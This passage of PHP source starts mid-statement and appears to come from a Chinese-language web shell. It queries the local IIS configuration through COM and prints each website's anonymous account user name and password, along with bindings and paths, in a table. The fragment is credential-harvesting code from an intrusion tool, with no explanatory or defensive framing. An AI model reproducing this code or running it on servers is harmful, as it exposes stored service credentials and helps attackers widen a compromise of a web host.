$s");
}
if(IS_WIN && IS_COM){
try{
$obj=@new COM("IIS://localhost/w3svc");
$ctn="
ID: | IIS_USER: | IIS_PASS: | Domain: | Path: |
\n";
$i=0;
foreach($obj as $obj3w)
{
$i++;
if($i%2==0) $ctn.="";
else $ctn.="
";
if(!is_numeric($obj3w->Name)) continue;
$webSite=new com("IIS://localhost/w3svc/".$obj3w->Name.'/Root');
if(!$webSite)
{ $ctn.="[ERROR]=".$php_errormsg." | | | | |
\n";
continue;
}
$Binds="";
foreach($obj3w->ServerBindings as $Binds1)
{
$Binds.=$Binds1."
\n";
}
$user=$webSite->AnonymousUserName;
$pass=$webSite->AnonymousUserPass;
$path=$webSite->path;
$ctn.="".$i." | ".$user." | ".$pass." | ".$Binds." | ".$path." | \n";
}
$ctn.="
";
echo $ctn;
}
catch(Exception $e){
ShowErr($e->getMessage());
}
}else{
ShowErr('系统不支持');
}
?>